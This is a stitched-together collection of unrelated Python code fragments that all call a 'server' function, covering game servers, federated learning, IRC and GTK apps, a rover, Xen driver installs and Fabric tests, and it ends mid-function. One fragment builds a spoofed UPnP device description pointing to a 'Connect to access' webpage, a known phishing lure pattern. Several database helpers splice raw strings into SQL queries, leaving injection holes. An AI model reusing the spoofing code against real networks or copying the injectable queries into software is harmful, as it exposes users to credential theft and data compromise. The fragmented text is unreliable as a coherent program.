def test_msg_received_str(): """Testing string received at server from client.""" from server import server from client import client server() client() assert len(msg_received) > 2
def run(): # Import enviromental variables load_dotenv(dotenv_path='api/variables.env') # Init database from database import Database database = Database(os.getenv('DATABASE_NAME')) # Create default access error, results = database.find(os.getenv('CLIENTS_COLLECTION'), '') if results and len(list(results)) == 0: default_client = json.load(open(os.getenv('DEFAULT_TOKEN'))) error = database.insert_one(os.getenv('CLIENTS_COLLECTION'), default_client) if error: print('Default client not created!') return print('Default client created!') # Create necessary folders for dir in [ os.getenv('DATASETS_PATH'), os.getenv('INPUT_PATH'), os.getenv('OUTPUT_PATH'), os.getenv('ZIP_PATH'), os.getenv('STORAGE_PATH') ]: if not os.path.exists(dir): os.makedirs(dir) # Start server from server import server server(database)
def main(): cfg = load_conf() if cfg["useSSL"]: create_ssl_cert([cfg["backendIP"]]) if cfg["dbMode"] and cfg["sqlDatabase"] and cfg["sqlPassword"] and cfg[ "sqlServerIP"] and cfg["sqlUsername"]: print("Using " + cfg["dbMode"] + " DB") try: conn = load_db_conn()[0] if cfg["dbMode"] == "mssql": init_mssql_db(conn) elif cfg["dbMode"] == "mysql": init_mysql_db(conn) else: print( "Error! No valid db mode found. Please use mssql or mysql") except Exception as e: print(e) else: print("No db mode set.") check_existing_token() create_web_config() server()
def clientLaunch(): print ("Starting client") server.server() print ()
def run_server(): port = host_port_entry.get() password = host_password_entry.get() room_name = host_room_name_entry.get() activeWindows.server_window_isactive = True server.server(port, password, room_name)
def main(): if(sys.argv[2] == "client"): parse = sys.argv[3].split(":") client(sys.argv[1], parse[0], int(parse[1])) elif (sys.argv[2] == "server"): server(sys.argv[1], int(sys.argv[3])) else: print("Improper input!")
def server_options(self): system = platform.system() if(system == 'Windows'): server.handle_server() else: server.server()
def save(): h = host.get() p = port.get() q = quiz.get() ct.append(h) ct.append(p) ct.append(q) #print ct from server import server server()
def gencloned(self): # DEVICETYPE SERVICE TYPE SERVICE ID os.system('clear') print('Which domain you want for the device cloned?\n') domain_rev = input("\nDomain '[NAME].local': ") # LOGIN ROUTE os.system('clear') print('Where the webpage is located?\n' 'folder/./file.ext or file.ext') web = input("\nWebpage location: ") FN = utils.get_friendlyname(None) MF = utils.get_manufacturer(None) MD = utils.get_model(None) UUID = utils.get_uuid(None) urn1 = utils.get_device(None) urn2 = utils.get_service(None) urn3 = utils.get_serviceid(None) xml = ('<?xml version="1.0"?>\r\n' '<root xmlns="urn:schemas-upnp-org:device-1-0">\r\n' '\t<specVersion>\r\n' '\t\t<major>1</major>\r\n' '\t\t<minor>0</minor>\r\n' '\t</specVersion>\r\n' '\t<URLBase>http://' + domain_rev + ':8008</URLBase>\r\n' '\t<device>\r\n' '\t\t<presentationURL>http://' + domain_rev + ':8008/' + web + '</presentationURL>\r\n' '\t\t<deviceType>' + urn1 + '</deviceType>\r\n' '\t\t<friendlyName>' + FN + '</friendlyName>\r\n' '\t\t<modelDescription>Connect to access</modelDescription>\r\n' '\t\t<manufacturer>' + MF + '</manufacturer>\r\n' '\t\t<modelName>' + MD + '</modelName>\r\n' '\t\t<UDN>' + UUID + '</UDN>\r\n' '\t\t<serviceList>\r\n' '\t\t\t<service>\r\n' '\t\t\t\t<serviceType>' + urn2 + '</serviceType>\r\n' '\t\t\t\t<serviceId>' + urn3 + '</serviceId>\r\n' '\t\t\t\t<controlURL>/ssdp/notfound</controlURL>\r\n' '\t\t\t\t<eventSubURL>/ssdp/notfound</eventSubURL>\r\n' '\t\t\t\t<SCPDURL>/ssdp/notfound</SCPDURL>\r\n' '\t\t\t</service>\r\n' '\t\t</serviceList>\r\n' '\t</device>\r\n' '</root>') tfile = open('ssdp.xml', 'w+') tfile.write(xml) tfile.close() os.system('clear') print('You want to start the server now or exit?') choose = input("\n1) Start the server or 2) Exit: ") os.system('clear') if choose == "1": server() elif choose == "2": BYE()
def main(): """ The main function of the program if an argument is given it will recognize it and execute the proper function.\n If no argument is provided it will show a menu with all the available options to the user. """ arguments = len(sys.argv) - 1 if arguments == 0: os.system('clear') print( 'What you want to do?\n' '\n1) Generate XML // 2) Start server // 3) Clone // 4) Help // 5) List devices options // 6) Exit\n' ) choose = input("Selection: ") os.system('clear') if choose == "1": genxml() elif choose == "2": server() elif choose == "3": clone() elif choose == "4": show_help() elif choose == "5": show_devices() else: BYE() else: try: # Checks the arguments provided to see if are valid. arguments, _ = getopt.getopt(argument_list, short_options, long_options) except getopt.error: exit() # Loop through the arguments checking for matches if the argument received is not # listed it will return an eror and exit the program for current_argument, _ in arguments: if current_argument in ("-h", "--help"): show_help() if current_argument in ("-g", "--genxml"): genxml() if current_argument in ("-s", "--server"): server() if current_argument in ("-c", "--clone"): clone() if current_argument in ("-l", "--list"): show_devices()
def start_server(self, *args): args = args[0] name = args[0] if name in self.serverManager.server_data.keys(): if not (name in self.serverManager.servers.keys()): self.serverManager.servers[name] = server(self.serverManager.server_data[name], self.messageQueue) self.serverManager.servers[name].start() elif not self.serverManager.servers[name].is_alive(): self.serverManager.servers[name] = server(self.serverManager.server_data[name], self.messageQueue) self.serverManager.servers[name].start() else: return name + " is already running." else: return name + " is not a valid server name." return "success"
def FAVG_init(): # get IID data list for client list num_expamples_list_in_clients = [ 1000, 2000, 1500, 500, 3000, 1000, 1000, 2000, 1500, 2000 ] client_train_data_list, client_test_data_list, server_test_dataset = generate_clients_data( num_expamples_list_in_clients, num_clients=10, IsIID=True, batch_size=100, tt_rate=0.3) # experiment model model = mnist_model(comp_model=False) # set dataset for server server_0 = server(test_dataset=server_test_dataset, server_model=model) # client set list clients_list = [] # set dataset for clients client_name_list = list('client_{}'.format(i) for i in range(10)) for i in range(len(num_expamples_list_in_clients)): client_data_dict = { 'train': client_train_data_list[i], 'test': client_test_data_list[i] } clients_list.append( client(local_dataset=client_data_dict, client_name=client_name_list[i], local_model=model)) return server_0, clients_list
def queryDB(db, selectArg, fromArg, whereArg, where): ''' queryDB: A pretty specific query to the SQL DB, just used to save myself repetetive typing, and to make some code a little cleaner. Not really general enough for external use, what you probably want is server.Command(str) or bugzServer.Command(str). ''' if db == None: db = server.server() db.Connect() if type(where) == str: appendString = whereArg + "=" + where[:] elif type(where) == list: appendString = "(" for cycle in where: if type(cycle) == int: appendString += "%s=%s OR " % (whereArg, str(cycle)) elif type(cycle) == str: appendString += "%s='%s' OR " % (whereArg, cycle) appendString = appendString[:-4] + ")" return db.Command('''SELECT %s FROM %s WHERE %s''' % (selectArg, fromArg, appendString))
def __init__(self, host_server, port_server, max_connections, max_bytes, first,game): self.first = first self.game = game if(first==True): self.server = client(host_server,port_server, max_bytes) else: self.server = server("",port_server,max_connections,max_bytes)
def _connect(): s = server.server() errmsg = s.Connect() if type(errmsg) == type(""): print errmsg raise Exception, "ezLogDB: couldn't connect to mysql server: " + errmsg return logDB.logDB(s)
def start(self, board, camera): self.hello = "hello" test = "test" self.board = board self.camera = camera self.webServer = server.server(80, self.board, self.camera) self.webServer.start(True)
def __init__( self, fun_fp, T, means, # M*K alpha, reward='Gaussian'): self.M = means.shape[0] self.K = means.shape[1] self.local_means = means self.reward_type = reward self.alpha = alpha self.T = T self.C = 1 self.comm = 0 self.global_means = np.sum(self.local_means, axis=0) / self.M self.clients = [ client(index=i, thorizon=self.T, narms=self.K, nclients=self.M, palpha=self.alpha, fp=fun_fp) for i in range(self.M) ] self.server = server(narms=self.K, nclients=self.M)
def __init__(self, name, M0b=18, M0f=23, M1b=24, M1f=25, T1=4, E1=17, simulation=False): #GPIO: 4 17 21 22 #pin : 7 11 13 15 #GPIO: 18 23 24 25 #pin : 12 16 18 22 self.logger = logging.getLogger('myR.rover') self.name = name self.version = 1 self.simulation = simulation self.ip = '192.168.0.10' self.speed = 100 # [mm/s] self.speedMax = 1000 # [mm/s] self.voltage = 6 # [V] self.mass = 2 # [Kg] self.Lenght = 180 # [mm] self.wheelR = 32 # [mm] self.time360 = 2 # [sec] self.data = datacollector() self.camera = camera(self.data) self.camserver = camserver(self.data) self.sensor = us_sensor('S1', T1, E1, self.data) self.motorLeft = DCmotor('MLeft', M0b, M0f, 11, 12) self.motorRight = DCmotor('MRight', M1b, M1f, 13, 14) self.rc = rc(self.data) self.server = server(self.data)
def main(): db = server.server() try: db.Connect() except: print "Could not connect to database. Aborting" sys.exit(1) #result = db.Command('''SELECT id FROM release_cycle WHERE processed="N"''') #cycleResults = map(lambda x: int(x['id']), result) #result = db.Command('''SELECT id FROM merged WHERE %s''' % (appendString)) #return result result = queryDB(db, 'id', 'release_cycle', 'processed', '"N"') idList = map(lambda x: int(x['id']), result) result = queryDB(db, 'id', 'merged', 'release_cycle_id', idList) idList = map(lambda x: int(x['id']), result) result = queryDB(db, 'id', 'combined', 'merged_id', idList) idList = map(lambda x: int(x['id']), result) result = queryDB(db, 'build_id', 'release_request', 'combined_id', idList) idList = map(lambda x: int(x['build_id']), result) result = queryDB(db, 'tag', 'build', 'id', idList) resultList = map(lambda x: str(x['tag']), result) for result in resultList: print result
def install(self): ret = super(xen_driver, self).install() if ret: return ret # get server object to work with srv = server.server(self.server) # see if it's already installed ret = self.__installed(srv) if ret == errors.DRIVER_ALREADY_INSTALLED: return ret # get distro distro = srv.get_remote_distro() if distro == "redhat": # get YUM package (exit_code,_,_) = srv.do_execute( "yum -y install xen xen-libs kernel-xen" ) if exit_code != 0: return errors.throw(errors.DRIVER_INSTALL_FAIL) return errors.throw(errors.ERR_SUCCESS) return errors.throw(errors.DRIVER_OS_NOT_SUPPORTED)
def simulate_game( self, team_a: str, team_b: str, repetition: int = 10000, season_of_A: int = 2020, season_of_B: int = 2020, ): """ Return the probabilities of each team winning the matchup, the predicted scores, and the probability of them going to overtime.\n Arguments : team_a (str) : full team name, or team abbreviation, or partial string of team name of the first team. \n team_b (str) : full team name, or team abbreviation, or partial string of team name of the second team. \n repetition (int): how many times to repeat the simulation (by default, 10,000) to output average sample probabilities that will approach the real probabilities by Central Limit Theorem. \n season_of_A (int) : which seasonal-version of team A to use for simulation. \n season_of_B (int) : : which seasonal-version of team A to use for simulation. """ return server.simulate(server(), team_a, team_b, repetition, season_of_A, season_of_B)
def form_delete(): print(request.data) if request.method == 'DELETE': name = request.form['Title'] ser = server() ser.delete(name,myclient) return 'OK'
def __init__(self): #this function will do what is necessary to load preferences, create an empty server, #etc, etc self.serverlist = [] # self.s = server.server(self.tk, hostname='irc.synirc.org', nick='zobzan' ) self.createtk() self.s = server.server(self.tk, hostname='irc.synirc.org', nick='zobzan' )
def writeContent(self): self.db = server.server() err = self.db.Connect() if type(err) == ErrType: self.writeError(err) return #else self.bugzDB = bugzServer.server() err = self.bugzDB.Connect() if type(err) == ErrType: self.writeError(err) self.db.Close() return #else self.pyroServer = pyroServer.server() err = self.pyroServer.Connect() if type(err) == ErrType: self.writeError(err) self.pyroServer.Close() return #else self.realWriteContent() self.db.Close() self.bugzDB.Close() self.pyroServer.Close() return
def bad_leader_is_elected_i(k=1): global num_of_times global mediator_server num_of_times = k servers = [] servers_threads = [] # initiate and run mediator med_th = threading.Thread(target=mediator_server.work) med_th.start() # initiate and run servers for i in range(N): servers.append(server(host, port, i, ideal_functionality)) servers_threads.append(threading.Thread(target=servers[-1].start_work)) for s in servers_threads: s.start() while True: states = [] for s in servers: states.append(s.get_stage()) if states.count("DECIDED") >= N - F: print("*****decision has made!****") for s in servers: s.set_quit() mediator_server.set_quit() exit(1)
def activate(self): ret = super(xen_driver, self).activate() if ret: return ret # get server object to work with srv = server.server(self.server) # get the kernel number from the grub config (_,stdout,_) = srv.do_execute( "/usr/bin/env grep -E \"^[ ]*title\" %s | " % glob.config.get("paths", "grub_config") + "/usr/bin/env grep -B 1000 xen | /usr/bin/env wc -l" ) grub_number = int(stdout[0])-1 # set the xen to boot as the default kernel srv.do_execute( "/usr/bin/env sed -r \"s/^[ ]*default[ ]*=.*$/default=%s/g\" " % grub_number + "-i %s" % glob.config.get("paths", "grub_config") ) # reboot if necessary if self.reboot: # backgrounded, just in case it matters srv.do_execute("%s -r now &" % glob.config.get("paths", "shutdown")) return errors.throw(errors.ERR_SUCCESS)
def __init__(self): super().__init__() self.server = server.server() self.server.start() print("SERVER OK") self.aiser = ais.AIS() self.aiser.start() print("AISER OK") mv = mavlink.mavlink() self.mavlinker = mv self.mavlinker.pid.setSampleTime(T) @mv.vehicle.on_message('RANGEFINDER') def listener(self, name, message): stt = fileHandler.loadJsonFromFile('state.json') stt["dph"] = message.distance fileHandler.saveStateToFile(stt) @mv.vehicle.vehicle.on_message('GLOBAL_POSITION_INT') def listener(self, name, message): stt = fileHandler.loadJsonFromFile('state.json') stt["lng"] = message.lon stt["lat"] = message.lat stt["heading"] = message.hdg stt["vx"] = message.vx stt["vy"] = message.vy fileHandler.saveStateToFile(stt) # self.mavlinker.arm() print("MAVLINKER OK") self.itercnt = 0
def getRequestedVersions(self): '''Release build. Build a dict. <collection_name>: fully qualified path to tarball''' retdict = {} db = server.server() db.Connect() results = db.Command( 'SELECT name,version from Mvl6Cfg.RequestedCollections WHERE breq_id=%s' % self.ReleaseID) for result in results: cname = result['name'] cver = result['version'] buildresults = db.Command( '''SELECT filename, buildtag FROM Mvl6Cfg.Collections c, Mvl6Cfg.Builds b WHERE \ cname='%s' and version=%s and c.builds_id=b.id''' % (cname, cver)) for bresult in buildresults: filename = bresult['filename'] buildtag = bresult['buildtag'] fqpath = os.path.join('/mvista/dev_area/mvl6', buildtag, filename) if os.path.exists(fqpath): retdict[cname] = fqpath break return retdict
def forms(): print(request.data) if request.method == 'GET': name = request.form['Title'] ser = server() ser.getPersonMessage(name,myclient) return 'OK'
def new_game_menu(): pygame.init() pygame.display.set_caption('Server waiting room') window_surface = pygame.display.set_mode((800, 600)) background = pygame.Surface((800, 600)) background.fill(pygame.Color('#000000')) manager = pygame_gui.UIManager((800, 600)) schetchik_box = pygame_gui.elements.UILabel(relative_rect=pygame.Rect( (350, 190), (100, 50)), text='1 user', manager=manager) ip_port_box = pygame_gui.elements.UITextEntryLine( relative_rect=pygame.Rect((320, 250), (160, 50)), manager=manager) ip_port_box.text = server.get_ip() start_game_button = pygame_gui.elements.UIButton(relative_rect=pygame.Rect( (350, 310), (100, 50)), text='Start game', manager=manager) server.server() clock = pygame.time.Clock() is_running = True while is_running: time_delta = clock.tick(60) / 1000.0 for event in pygame.event.get(): if event.type == pygame.QUIT: is_running = False manager.process_events(event) if event.type == pygame.USEREVENT: if event.user_type == pygame_gui.UI_BUTTON_PRESSED: if event.ui_element == start_game_button: # is_running = False while server.STATE_GAME != 2: pass return 'go' manager.update(time_delta) window_surface.blit(background, (0, 0)) manager.draw_ui(window_surface) draw_text('main menu', pygame.font.SysFont(None, 20), (255, 0, 0), window_surface, 20, 20) pygame.display.update()
def __init__(self, **kwargs): super(Game, self).__init__(**kwargs) self.players = [] self.player_count = 0 self.animals = [] self.vision = Vision() self.server = server(self.send_status, self.add_player, self.remove_player) self.server.main()
def _getLaunchCommand(self): db = server.server() db.Connect() result = db.Command( 'SELECT launchCmd FROM Mvl6Cfg.MSDs m WHERE m.name="%s"' % self._MSDName)[0]['launchCmd'] db.Close() return result
def _getKernelVersion(self): db = server.server() db.Connect() result = db.Command( 'SELECT kernelVer FROM Mvl6Cfg.MSDs m WHERE m.name="%s"' % self._MSDName)[0]['kernelVer'] db.Close() return result
def __init__(self, connect_callback, recvd_data): super(serv_interface, self).__init__() self.connect_signal.connect(connect_callback) self.data_signal.connect(recvd_data) self.server_obj = server.server(connect=self.connect_signal, data_recd=self.data_signal)
def create_global(self, args): args = self.args(args) projectname = self.get_from_args('project', args) server('project do initialize -p name=' + projectname).start_command() server('html do create file -p name=index title=Accueil project=' + projectname + ' content=<h1>|Hello|Je|suis|sur|le|projet|qui|s\'appel|' + projectname + '|</h1>') \ .start_command() server('php do create file -p name=script1 project=' + projectname).start_command() server('css do create file -p name=style project=' + projectname).start_command() server('js do create script -p name=script1 project=' + projectname).start_command()
def client(msg): c = server() r = c.send(None) r1 = c.send(msg) print('r:%s' % r) #c.send(msg) print('r1:%s' % r1) c.send(msg)
def main(): """ Main event loop that launches a Clue-Less server and listens for incoming connections and messages from clients. """ s = server.server('192.168.100.14', 4004) #s = server.server('10.0.1.10', 4004) while True: try: # Accept new connections if s.acceptingConnections: while True: try: conn, addr = s.accept() except: break s.acceptConnection(conn) # Read from connections for name, conn in s.users.items(): try: r = conn.recv(1024).strip() except socket.error: continue message = s.decrypt(r) if '::' in message: splt = message.split('::') if splt[0] == 'function': splt2 = splt[1].split(':') if splt2[0] == 'createNewGame': s.createNewGame() elif splt2[0] == 'joinGame': s.joinGame(name, splt2[1]) elif splt2[0] == 'ready': s.addReadyPlayer(name) elif splt2[0] == 'start': s.startGame(name) elif splt2[0] == 'movePlayer': s.handleMove(name,splt2[1]) elif splt2[0] == 'endTurn': s.endTurn(name) elif splt2[0] == 'makingSuggestion': s.handleSuggestion(name,splt2[1]) elif splt2[0] == 'revealCard': s.revealCard(name,splt2[1],splt2[2]) elif splt2[0] == 'makingAccusation': s.handleAccusation(name,splt2[1]) elif splt[0] == 'message': s.broadcastMessageToAll(0, '%s> %s' % (name, splt[1])) else: if not message: # Empty string is given on disconnect s.removePlayer(name) time.sleep(.1) except (SystemExit, KeyboardInterrupt): break
def runAll(self): count = 1 serv = server('192.168.2.103',52000) serv1 = server('192.168.2.103',52002) serv2 = server('192.168.2.103',52001) accel = accelerometer() meas = measure() bAndT = batteryandtemp() print bAndT.Batt[0] print bAndT.Temp[0] print bAndT.stopBase[0] print bAndT.stopRadiom[0] thread1 = threading.Thread(target=serv.listun,args=(0, accel,meas,bAndT)) thread2 = threading.Thread(target=serv1.listun,args=(1,accel,meas,bAndT)) thread3 = threading.Thread(target=serv2.listun,args=(2,accel,meas,bAndT)) thread1.start() thread2.start() thread3.start() while count == 1 : serv.data = map(TramAction, serv.dataT) self.currentState.run(serv,serv2,accel,meas,bAndT) if((bAndT.Batt[0] != 0.0 and bAndT.Batt[0] < 11.75) or (bAndT.Temp[0] != 0.0 and bAndT.Temp[0] > 40) or int(bAndT.stopBase[0]) == int(1.0) or int(bAndT.stopRadiom[0]) == int(1.0)) : serv.dataT[0] = (str("shutdown")) serv.data = map(TramAction, serv.dataT) if str(serv.data[0]) == str('measure'): serv2.wait=1 self.currentState = self.currentState.next(serv.data[0]) if(thread1.isAlive() == False) : thread1 = threading.Thread(target=serv.listun,args=(0, accel,meas,bAndT)) thread1.start() if(thread2.isAlive() == False) : thread2 = threading.Thread(target=serv1.listun,args=(1,accel,meas,bAndT)) thread2.start() if(thread3.isAlive() == False) : thread3 = threading.Thread(target=serv2.listun,args=(2,accel,meas,bAndT)) thread3.start()
def main(): #print "[b]roadcast or [l]isten? Why not both!" print "Looking for already existing network of elevators" heis = client() try: result = 0 for i in range(1): # Try 3 times to connect result = heis.start() if result == 2: # print "DURR" break elif result == 0: while heis.alive: sleep(0.2) print "Server died, my turn to take over" synch = heis.server_synch ip = heis.my_address hardware = heis.elevator_hardware heis.delete() heis = server(synch[0].keys(), synch[0], ip, synch[1], hardware) print "Takin ova" heis.start() break if result == 1: print "I am now master" ip = heis.my_address hardware = heis.elevator_hardware heis.delete() heis = server(my_ip=ip, elevator_hardware=hardware) heis.start() except: print "FAIL" print sys.exc_info()[0] print traceback.print_tb(sys.exc_info()[2]) heis.delete() heis.delete_driver() exit()
def __init__(self): #read glade file self.builder = gtk.Builder() self.builder.add_from_file("rad_gui.glade") #init server self.server = server.server(self,on_new_client_callback,on_recv_msg_callback) self.server.start() #get the main window, and connect all eventes self.window = self.builder.get_object("MainForm") if self.window: self.builder.connect_signals(self) self.window.show()
def server(args): """ Creates a server and sends all inputs to connected clients """ # Create the server object test = sillystream_server.server() # Start the server in a thread test.start_thread(**args) # In python 2x you need to send a ctrl-d to flush the buffer # and send everything you have typed and hit enter on for send in sys.stdin: # Python 2x reads in unicode weird if (sys.version_info < (3, 0)): send = send.decode(constants.ENCODEING) # Send any input test.write(send)
def run(self): s = server(self.host, self.port, self.username, None) try: if(not s.has_dir(self.path)): s.mkdir(self.path) s.init_git(self.path) s.add_remote(self.path, "github", "git://github.com/" + self.gh_username + "/" + self.repo + ".git") if not ("github" in s.get_remotes(self.path)): s.add_remote(self.path, "github", "git://github.com/" + self.gh_username + "/" + self.repo + ".git") s.pull(self.path, "github", self.branch) print s.stdout + "\n========\n\n" + s.stderr except Exception as ex: print ex.__str__()
def add_once(self, host, port, selfreg=False, suggested=False, persistent=False, force=False, checkport=True, file=None, quicktest=False): # add server if it doesn't already exist, return (serverobject, existed) if (not force) and self._isbanned(host, port): debug.msg(serverlist.DBGTAG_REFUSED, "refused a banned server at %s:%d" % (host, port)) return None, False else: if checkport and (port < 0 or port > 65534): debug.msg(serverlist.DBGTAG_INVALIDPORT, "trying to add a new server with an invalid port: %s:%d" % (host, port)) return s = self.find(host, port) if s: existed = True else: s = server(host, port) self._append(s) existed = False if selfreg: s.selfreg = True # whether this server has registered itself to gamemod (and not arrived via sauerbraten.org) if (not existed) and suggested: s.suggested = True # whether this server has been suggested to gamemod and was unknown before (and not arrived via sauerbraten.org) if persistent: s.persistent = True # whether this server should never be kicked from the pending servers list if file: s.fromfile = file if (not existed) and quicktest: s.quicktest = True # whether this server should be tested for registration quickly (= kick it if it does not already reply within one request and config.PING_INTERVAL) return s, existed
def train(num_training=20, num_test=10): input_files = glob.glob('MovieReviews/txt_sentoken/pos/*.txt') s = server(MAX=int(sys.argv[1])) A = [(inp, 'pos') for inp in input_files[0:num_training]] input_files = glob.glob('MovieReviews/txt_sentoken/neg/*.txt') A.extend([(inp, 'neg') for inp in input_files[0:num_training]]) s.addJobs(A) #print A print "Traing classifier on the following files: " #print "File name file type" headers = ["File Name", "file review type"] table = zip([i[0][30:len(i[0])-1] for i in A], [i[1] for i in A]) print tabulate(table, headers, tablefmt="grid") """ for i in A: print i[0][26:len(i[0])-1], print " ", print i[1] """ training = s.start() cl = NaiveBayesClassifier(training) return cl
def cron_daily(self): # get servers ac = api.api_call("server_list", {}) ret = ac.execute() if ret != errors.ERR_SUCCESS: return ret servers = ac.output() # loop servers for remote_server_dict in servers: # nothing update on master if remote_server_dict["parent_server_id"] == 0: continue # master server_dict = self.get_dict() # slave server_dict["remote_server"] = remote_server_dict # call its cron_daily command server_obj = server(server_dict) ret = server_obj.cron_daily() if ret != errors.ERR_SUCCESS: return ret
def main(): args = parser.parse_args() server(args.ip[0], args.port[0], args.channel[0], LOCATION_FILE).run()
def run(self): server('localhost', 3001, communication=self.communication)
@server() @mock_streams("both") def test_warn_only_does_not_imply_hide_everything(self): run("ls /simple", warn_only=True) assert sys.stdout.getvalue() != "" class TestMultipleOKReturnCodes(FabricTest): @server(responses={"no srsly its ok": ["", "", 1]}) def test_expand_to_include_1(self): with settings(quiet(), ok_ret_codes=[0, 1]): eq_(run("no srsly its ok").succeeded, True) slow_server = server(responses={"slow": ["", "", 0, 3]}) slow = lambda x: slow_server(raises(CommandTimeout)(x)) class TestRun(FabricTest): """ @server-using generic run()/sudo() tests """ @slow def test_command_timeout_via_env_var(self): env.command_timeout = 2 # timeout after 2 seconds with hide("everything"): run("slow") @slow
#! /usr/bin/python # -*- coding:utf-8 -*- import os import sys sys.path.append(os.path.abspath(os.path.abspath(".") + os.sep + "..")) from server import server if __name__ == "__main__": _server = server(dbserver="localhost", svcname=11810, usr="******", passwd="admin") _server.run(10086, 10)
elif (recv_data== "ConnectionEstablishmentInformation"): #data will have URL and IP adress URL=data[0] ip_address=data[1] print "Transferring %s data to %s"%(URL, ip_address) #Download the data and Send the data to the ip address specified my_list=["Download_file", 0] sock.sendto(repr(my_list), value.addr) ack, addr=sock.recvfrom(1024) if (ack=="Download_file_ack"): k.setblocking(0) # Call the interface function to download the file and send it to the specified IP address ret=server.server(URL, ip_address) k.setblocking(1) if ret==0: print "Done transferring data" list2=["TransferProvided", 0] sock.sendto(repr(list2), network_addr) elif (recv_data =="TransferAck"): print "Releasing resources" # Make this a non blocking socket again k.setblocking(0) except KeyboardInterrupt: s.close() k.close()
# Der oprettes henvisninger til klasser så de kan bruges som argumenter til # andre metoder clients = server.clients() cv = threading.Event() # En tråd til at sende seriel data til klienterne oprettes sender = server.serialSendToClients(cv, clients, "Consumer",) sender.setDaemon(True) sender.start() # En tråd til at modtage seriel data fra bilen oprettes serial = server.serial(cv, ser, sender) serial.setDaemon(True) serial.start() print "Server started (Port: %d)," %PORT while True: # Der oprettes en tråd for hver klient der tilslutter conn, addr = s.accept() clients.addClient(conn, addr) th = server.server(args=(conn, addr, clients)) th.setDaemon(True) th.start()
import sys import server if len(sys.argv) < 3: print "Usage is filename <ip> <port>" exit() ip = sys.argv[1] port = int(sys.argv[2]) #connect to my drone that is on IP =ip and open a port on the panda board to listen to my commands #the panda board recieves my commands on the port passed to the server function and relay this commands to the real drone server.server(ip, port)
def run(self): print "Start listening to Pd..." server('localhost', 3001, communication=self.communication) print "Stopped listening to Pd."
def __init__(self): gobject.GObject.__init__(self) self.my_server=server() self.my_server.init(os.getcwd()) self.my_server.statusicon.connect('popup-menu', self.on_status_icon_right_click) self.my_server.setup_gui(self.gui_sim_start,self.gui_sim_stop) if running_on_linux()==True: DBusGMainLoop(set_as_default=True) self.bus = dbus.SessionBus() self.bus.add_match_string_non_blocking("type='signal',interface='org.my.opvdm'") self.bus.add_message_filter(self.adbus) else: self.win_pipe=win_pipe() self.win_pipe.connect('new-data', self.win_dbus) self.win_pipe.start() self.window = gtk.Window(gtk.WINDOW_TOPLEVEL) #self.window.set_size_request(-1,1000) self.window.set_border_width(10) self.window.set_title(_("Organic Photovoltaic Device Model (www.opvdm.com)")) splash=splash_window() splash.init() temp_error=ver_error() print temp_error if len(temp_error)>0: md = gtk.MessageDialog(self.window,gtk.DIALOG_DESTROY_WITH_PARENT, gtk.MESSAGE_ERROR, gtk.BUTTONS_CLOSE, temp_error) md.run() md.destroy() self.undo_list=undo_list_class() self.undo_list.init() self.experiment_window=None self.fxexperiment_window=None self.qe_window=None self.win_list=windows() self.win_list.load() self.config=config() #table = gtk.Table(3,6,False) self.window.set_icon_from_file(os.path.join(get_image_file_path(),"image.jpg")) self.show_tabs = True self.show_border = True self.menu_items = ( ( _("/_File"), None, None, 0, "<Branch>" ), (_("/File/_New simulation"), "<control>N", self.callback_new, 0, "<StockItem>", "gtk-new" ), (_("/File/_Open simulation"), "<control>O", self.callback_open, 0, "<StockItem>", "gtk-open" ), ( _("/File/_Export data"), None, self.callback_export, 0, "<StockItem>", "gtk-save" ), ( _("/File/Import data"), None, self.callback_import, 0 , "<StockItem>", "gtk-harddisk"), ( _("/File/Import from library"), None, self.callback_import_from_lib, 0 , "<StockItem>", "gtk-harddisk"), ( _("/File/Quit"), "<control>Q", gtk.main_quit, 0, "<StockItem>", "gtk-quit" ), ( _("/_Simulate"), None, None, 0, "<Branch>" ), ( _("/Simulate/Run"), None, self.callback_simulate, 0, "<StockItem>", "gtk-media-play" ), ( _("/Simulate/Parameter scan"), None, self.callback_scan , 0, None ), ( _("/Simulate/Start cluster server"), None, self.callback_start_cluster_server , 0, None ), ( _("/_View"), None, None, 0, "<Branch>" ), ( _("/_Plots"), None, None, 0, "<Branch>" ), ( _("/Plots/Plot simulation result"), None, self.callback_plot_select, 0, "<StockItem>", "gtk-open"), ( _("/_Plots/"), None, None, 0, "<Separator>" ), ( _("/_Help"), None, None, 0, "<LastBranch>" ), ( _("/_Help/Help Index"), None, self.callback_help, 0, "<StockItem>", "gtk-help" ), ( _("/_Help/About"), None, self.callback_about_dialog, 0, "<StockItem>", "gtk-about" ), ) pos=0 self.menubar = self.get_main_menu(self.window) #a = (( "/Plots/Plot after simulation", None, self.callback_plot_after_run_toggle, 0, "<ToggleItem>" ), ) #self.item_factory.create_items( a, ) #a = (( "/Plots/One plot window", None, self.callback_set_plot_auto_close, 0, "<ToggleItem>" ), ) #self.item_factory.create_items( a, ) #table.show() self.window.connect("destroy", gtk.main_quit) self.tooltips = gtk.Tooltips() self.window.set_size_request(-1, 780) main_vbox = gtk.VBox(False, 5) main_vbox.set_border_width(1) self.window.add(main_vbox) #window.add(table) main_vbox.show() toolbar = gtk.Toolbar() toolbar.set_style(gtk.TOOLBAR_ICONS) toolbar.set_size_request(-1, 50) open_sim = gtk.ToolButton(gtk.STOCK_OPEN) self.tooltips.set_tip(open_sim, _("Open a simulation")) toolbar.insert(open_sim, pos) pos=pos+1 #self.save_sim = gtk.ToolButton(gtk.STOCK_SAVE) #self.tooltips.set_tip(self.save_sim, "Save a simulation") #toolbar.insert(self.save_sim, pos) #pos=pos+1 new_sim = gtk.ToolButton(gtk.STOCK_NEW) self.tooltips.set_tip(new_sim, _("Make a new simulation")) toolbar.insert(new_sim, pos) pos=pos+1 sep_lhs = gtk.SeparatorToolItem() sep_lhs.set_draw(True) sep_lhs.set_expand(False) toolbar.insert(sep_lhs, pos) pos=pos+1 self.undo = gtk.ToolButton(gtk.STOCK_UNDO) self.tooltips.set_tip(self.undo, "Undo") toolbar.insert(self.undo, pos) self.undo.connect("clicked", self.callback_undo) pos=pos+1 sep_lhs = gtk.SeparatorToolItem() sep_lhs.set_draw(True) sep_lhs.set_expand(False) toolbar.insert(sep_lhs, pos) pos=pos+1 image = gtk.Image() image.set_from_file(os.path.join(get_image_file_path(),"play.png")) self.play = gtk.ToolButton(image) self.tooltips.set_tip(self.play, _("Run the simulation")) toolbar.insert(self.play, pos) self.play.connect("clicked", self.callback_simulate) pos=pos+1 image = gtk.Image() image.set_from_file(os.path.join(get_image_file_path(),"forward.png")) self.tb_run_scan = gtk.ToolButton(image) self.tb_run_scan.connect("clicked", self.callback_run_scan) self.tooltips.set_tip(self.tb_run_scan, _("Run parameter scan")) 